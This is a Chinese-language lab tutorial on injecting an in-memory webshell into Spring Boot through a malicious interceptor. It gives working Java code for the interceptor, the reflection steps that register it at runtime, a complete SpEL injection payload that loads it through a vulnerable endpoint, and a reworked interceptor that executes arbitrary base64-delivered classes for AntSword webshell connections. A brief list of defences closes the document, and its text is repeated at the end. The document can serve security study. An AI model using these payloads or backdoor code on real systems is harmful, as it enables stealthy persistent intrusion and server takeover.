SpringBoot拦截器注入内存马实验
字数 819 2025-08-05 08:19:01

SpringBoot拦截器注入内存马实验教学文档

一、拦截器基础概念

1.1 拦截器作用

  • Spring MVC拦截器(Interceptor)在请求到达Controller前进行预处理
  • 可实现对请求的拦截、修改和增强
  • 常用于权限验证、日志记录等场景

1.2 核心方法

  • preHandle: 请求处理前执行
  • postHandle: 请求处理后执行
  • afterCompletion: 视图渲染后执行

二、拦截器实现与注册

2.1 拦截器实现示例

public class InterceptorTest extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
        if(request.getParameter("id") != null) {
            PrintWriter writer = response.getWriter();
            writer.write("InterceptorTest OK!");
            writer.flush();
            writer.close();
            return false; // 拦截请求
        }
        return true; // 放行请求
    }
}

2.2 拦截器注册方式

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new InterceptorTest());
    }
}

三、运行时注入恶意拦截器

3.1 恶意拦截器示例

public class Madao extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
        if (request.getParameter("calc") != null) {
            Runtime.getRuntime().exec("calc");
            return false;
        }
        return true;
    }
}

3.2 运行时注册流程

  1. 动态加载恶意类

    // 获取ClassLoader并定义类
    Method method = ClassLoader.class.getDeclaredMethod("defineClass", 
                                                      String.class, 
                                                      byte[].class, 
                                                      int.class, 
                                                      int.class);
    method.setAccessible(true);
    method.invoke(classLoader, className, bytes, 0, bytes.length);
    
  2. 获取应用上下文

    WebApplicationContext context = (WebApplicationContext)RequestContextHolder
        .currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    
  3. 反射注入拦截器

    // 获取AbstractHandlerMapping实例
    AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) 
        context.getBean("requestMappingHandlerMapping");
    
    // 反射获取adaptedInterceptors字段
    Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
    
    // 注册恶意拦截器
    adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    

四、SpEL表达式注入实现

4.1 SpEL注入点示例

@Controller
@ResponseBody
public class SpelController {
    @GetMapping("/spel")
    public String spelTest(@RequestParam("input") String input) {
        String template = input;
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(template, parserContext);
        return expression.getValue().toString();
    }
}

4.2 SpEL注入内存马

#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or 
((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao", 
T(org.springframework.util.Base64Utils).decodeFromString("恶意拦截器的class文件的base64编码"), 0, byte长度)==
(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or 
((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder)
.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
.getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader()
.loadClass("com.example.spel.controller.Madao").newInstance())))}

五、蚁剑连接实现

5.1 改造恶意拦截器

public class Madao extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
        String cls = request.getParameter("1234");
        if (cls != null) {
            byte[] value = Base64Utils.decodeFromString(cls);
            
            // 反射获取defineClass方法
            Method dm = ClassLoader.class.getDeclaredMethod("defineClass", 
                                                         byte[].class, 
                                                         int.class, 
                                                         int.class);
            dm.setAccessible(true);
            
            // 反射获取ClassLoader实例
            Constructor c = SecureClassLoader.class.getDeclaredConstructor();
            c.setAccessible(true);
            ClassLoader classLoader = (ClassLoader) c.newInstance();
            
            Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);
            clazz.newInstance().equals(new Object[]{request, response});
            return false;
        }
        return true;
    }
}

5.2 关键点说明

  1. 使用反射调用defineClass方法动态加载类
  2. 每次创建新的SecureClassLoader实例避免重复加载异常
  3. 通过Base64传输恶意类字节码
  4. 蚁剑连接密码通过参数1234传递

六、防御措施

  1. 禁用SpEL表达式解析:避免使用SpelExpressionParser解析用户输入
  2. 拦截器白名单:限制可注册的拦截器类
  3. 反射防护:限制关键类的反射调用
  4. ClassLoader防护:监控异常的类加载行为
  5. 输入过滤:严格校验所有用户输入

七、实验环境要求

  • Java版本: 1.8.0_221
  • Spring Boot版本: 2.5.1
  • 测试工具: 蚁剑/冰蝎等Webshell管理工具

八、总结

本实验展示了如何通过Spring Boot拦截器机制注入内存马,关键点包括:

  1. 理解拦截器工作原理
  2. 掌握运行时动态注册拦截器技术
  3. 利用SpEL表达式注入实现无文件攻击
  4. 改造蚁剑马适配拦截器场景
  5. 反射技术的灵活运用

此技术危害性大、隐蔽性强,开发人员需提高安全意识,做好防护措施。

SpringBoot拦截器注入内存马实验教学文档 一、拦截器基础概念 1.1 拦截器作用 Spring MVC拦截器(Interceptor)在请求到达Controller前进行预处理 可实现对请求的拦截、修改和增强 常用于权限验证、日志记录等场景 1.2 核心方法 preHandle : 请求处理前执行 postHandle : 请求处理后执行 afterCompletion : 视图渲染后执行 二、拦截器实现与注册 2.1 拦截器实现示例 2.2 拦截器注册方式 三、运行时注入恶意拦截器 3.1 恶意拦截器示例 3.2 运行时注册流程 动态加载恶意类 获取应用上下文 反射注入拦截器 四、SpEL表达式注入实现 4.1 SpEL注入点示例 4.2 SpEL注入内存马 五、蚁剑连接实现 5.1 改造恶意拦截器 5.2 关键点说明 使用反射调用 defineClass 方法动态加载类 每次创建新的 SecureClassLoader 实例避免重复加载异常 通过Base64传输恶意类字节码 蚁剑连接密码通过参数 1234 传递 六、防御措施 禁用SpEL表达式解析 :避免使用 SpelExpressionParser 解析用户输入 拦截器白名单 :限制可注册的拦截器类 反射防护 :限制关键类的反射调用 ClassLoader防护 :监控异常的类加载行为 输入过滤 :严格校验所有用户输入 七、实验环境要求 Java版本: 1.8.0_ 221 Spring Boot版本: 2.5.1 测试工具: 蚁剑/冰蝎等Webshell管理工具 八、总结 本实验展示了如何通过Spring Boot拦截器机制注入内存马,关键点包括: 理解拦截器工作原理 掌握运行时动态注册拦截器技术 利用SpEL表达式注入实现无文件攻击 改造蚁剑马适配拦截器场景 反射技术的灵活运用 此技术危害性大、隐蔽性强,开发人员需提高安全意识,做好防护措施。